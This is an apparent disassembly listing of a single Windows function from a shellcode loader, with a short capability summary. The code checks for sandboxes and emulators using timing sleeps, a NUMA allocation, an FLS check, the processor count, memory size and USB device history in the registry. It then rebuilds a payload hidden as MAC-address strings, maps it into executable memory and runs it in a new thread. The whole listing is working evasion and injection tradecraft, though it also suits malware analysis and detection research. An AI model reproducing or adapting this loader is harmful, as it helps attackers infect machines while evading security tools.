Function at 0x140001360
Capabilities:
Create thread
Get hostname
Get memory capacity
Get system information on windows
Query or enumerate registry key

Disassembly:
push rbp
push rsi
lea rbp, [rsp - 0x118]
sub rsp, 0x218
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rbp + 0xf0], rax
lea rcx, str.____________________n_:_________:__n__:_________:___n__:_________:___n__:___________:___n__:___________:___n__________________n________________n______________n______________n
call fcn.140001010
xor esi, esi
lea rax, [rsp + 0x7c]
mov qword [rsp + 0x28], rax
lea r8, [0x140001070]
xor edx, edx
mov dword [rsp + 0x7c], esi
xor ecx, ecx
mov dword [rsp + 0x20], esi
lea r9, [rsi - 1]
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x1400013d9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._n____CreateThread_failed_with__d
call fcn.140001010
lea eax, [rsi - 1]
jmp 0x1400019c9
mov edx, dword [rsp + 0x7c]
lea rcx, str._n_i__Hammer_thread__d_created
mov qword [rsp + 0x210], r13
mov qword [rsp + 0x200], r15
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r13d, 1
mov dword [rsp + 0x28], esi
mov r15d, 4
mov rcx, rax
mov r8d, r13d
mov dword [rsp + 0x20], r15d
mov r9d, 0x3000
xor edx, edx
call qword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
test rax, rax
jne 0x140001436
lea rcx, str._n____NUMA_failed.
jmp 0x140001459
mov rdx, rax
lea rcx, str._n_i__NUMA_at_0x_02x
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlsAlloc]
cmp eax, 0xffffffff
jne 0x140001474
lea rcx, str._n____FLS_failed.
call fcn.140001010
lea rcx, str._n____Emulation_failed.
call fcn.140001010
mov eax, 0xffffffff
jmp 0x1400019b9
mov qword [rsp + 0x230], rbx
lea rcx, str._n_i__FLS_OK
mov qword [rsp + 0x238], rdi
mov qword [rsp + 0x240], r12
mov qword [rsp + 0x208], r14
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov ecx, 0x1d4c0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
sub eax, ebx
cmp eax, 0x1d4c0
jb 0x1400014d3
mov edx, eax
lea rcx, str._n_i__Time_ok_with__dms
call fcn.140001010
jmp 0x1400014de
cmp byte [rsp + 0x60], sil
je 0x140001988
lea rcx, str.NTDLL
mov qword [rsp + 0x70], rsi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.RtlEthernetStringToAddressA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
test rax, rax
jne 0x140001521
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._n____GetProcAddress_failed_with__d
call fcn.140001010
jmp 0x140001972
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov r8d, 0x23a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r12, rax
test rax, rax
jne 0x140001559
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._n____HeapAlloc_failed_with__d
call fcn.140001010
jmp 0x140001972
mov ebx, esi
mov rdi, r12
lea rsi, str.FC_48_83_E4_F0_E8
nop word [rax + rax]
mov rcx, qword [rsi]
lea rdx, [rsp + 0x70]
mov r8, rdi
call r14
test eax, eax
jne 0x140001955
add rdi, 6
inc ebx
add rsi, 8
cmp ebx, 0x5f
jb 0x140001570
mov rdx, r12
lea rcx, str._n_i__Payload_deobfuscated_at_0x_02x
call fcn.140001010
xor edx, edx
mov byte [rbp - 0x10], 0
mov r8d, 0xff
lea rcx, [rbp - 0xf]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x78]
mov dword [rsp + 0x78], 0x100
lea rcx, [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
jne 0x1400015f4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._n____GetComputerName_failed_with__d
call fcn.140001010
lea rcx, str._n____netHostname_failed
jmp 0x14000198f
lea rdx, [rbp - 0x10]
lea rcx, str._n_i__Hostname__s_OK
call fcn.140001010
xor esi, esi
xor r9d, r9d
mov qword [rsp + 0x28], rsi
xor edx, edx
mov dword [rsp + 0x20], 0x23a
lea rcx, [rsi - 1]
lea r8d, [rsi + 0x40]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rbx, rax
test rax, rax
jne 0x140001647
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._n____CreateFileMapping_failed_with__d
call fcn.140001010
jmp 0x140001716
xor r9d, r9d
mov qword [rsp + 0x20], 0x23a
xor r8d, r8d
mov rcx, rbx
lea edx, [r9 + 0x22]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rdi, rax
test rax, rax
jne 0x140001687
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._n____MapViewOfFile_failed_with__d
call fcn.140001010
mov r13d, esi
jmp 0x140001708
mov rcx, rdi
mov rdx, r12
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rdx - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub r15, r13
jne 0x140001690
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
mov rax, qword [rdx + 0x30]
mov qword [rcx + 0x30], rax
movzx eax, word [rdx + 0x38]
mov word [rcx + 0x38], ax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r13d, r13d
jne 0x14000172f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._n____Mapping_failed_with__d_n_n
call fcn.140001010
jmp 0x140001994
mov rdx, rdi
lea rcx, str._n_i__Payload_allocated_at_0x_02x
call fcn.140001010
xorps xmm0, xmm0
mov qword [rbp - 0x80], 0x40
lea rcx, [rbp - 0x40]
mov qword [rbp - 0x78], rsi
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x70], rsi
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x68], rsi
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], rsi
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], rsi
mov qword [rsp + 0x68], rsi
mov dword [rsp + 0x78], esi
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [rbp - 0x20]
cmp edx, 2
jae 0x1400017a4
lea rcx, str._n_n_i__Processors:__d
call fcn.140001010
lea rcx, str._n____Hardware_check_failed
jmp 0x14000198f
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
jne 0x1400017cb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._n____GlobalMemoryStatusEx_failed_with__d
call fcn.140001010
jmp 0x14000188d
lea rax, [rsp + 0x68]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SYSTEMControlSet001EnumUSBSTOR
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x14000180c
mov r8d, eax
lea rcx, str._n_t____RegOpenKeyExA_failed_with__d__0x_0.8X
mov edx, eax
call fcn.140001010
jmp 0x14000188d
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x58], rsi
xor r9d, r9d
mov qword [rsp + 0x50], rsi
xor r8d, r8d
mov qword [rsp + 0x48], rsi
xor edx, edx
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
je 0x140001863
mov r8d, eax
lea rcx, str._n_t____RegQueryInfoKeyA_failed_with__d__0x_0.8X
mov edx, eax
call fcn.140001010
jmp 0x14000188d
cmp dword [rsp + 0x78], 2
jae 0x140001882
lea rcx, str._n_nless_than_2_usbs
call fcn.140001010
lea rcx, str._n____Hardware_check_failed
jmp 0x14000198f
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, str._n_i__Hardware_check_OK
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov ecx, 0x249f0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
sub eax, ebx
cmp eax, 0x249f0
jb 0x1400018cc
mov edx, eax
lea rcx, str._n_i__Time_ok_with__dms
call fcn.140001010
jmp 0x1400018d7
cmp byte [rsp + 0x60], sil
je 0x140001988
mov qword [rsp + 0x28], rsi
xor r9d, r9d
mov r8, rdi
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
je 0x140001914
lea rcx, str._n_i__Thread_created
call fcn.140001010
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x140001928
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._n____Thread_creation_failed_with__d
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r12
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
lea rcx, str._n_i__Cleanup_done
call fcn.140001010
xor eax, eax
jmp 0x140001999
mov r8d, eax
movsxd rdx, ebx
lea rax, str.FC_48_83_E4_F0_E8
lea rcx, str._n____RtlEthernetStringToAddressA_failed_at___s___Error_0x_0.8X_
mov rdx, qword [rax + rdx*8]
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._n____Payload_deobfuscation_failed_with__d
call fcn.140001010
jmp 0x140001994
lea rcx, str._n____Time_failed
call fcn.140001010
mov eax, 0xffffffff
mov r14, qword [rsp + 0x208]
mov rdi, qword [rsp + 0x238]
mov r12, qword [rsp + 0x240]
mov rbx, qword [rsp + 0x230]
mov r13, qword [rsp + 0x210]
mov r15, qword [rsp + 0x200]
mov rcx, qword [rbp + 0xf0]
xor rcx, rsp
call fcn.140001a00
add rsp, 0x218
pop rsi
pop rbp
ret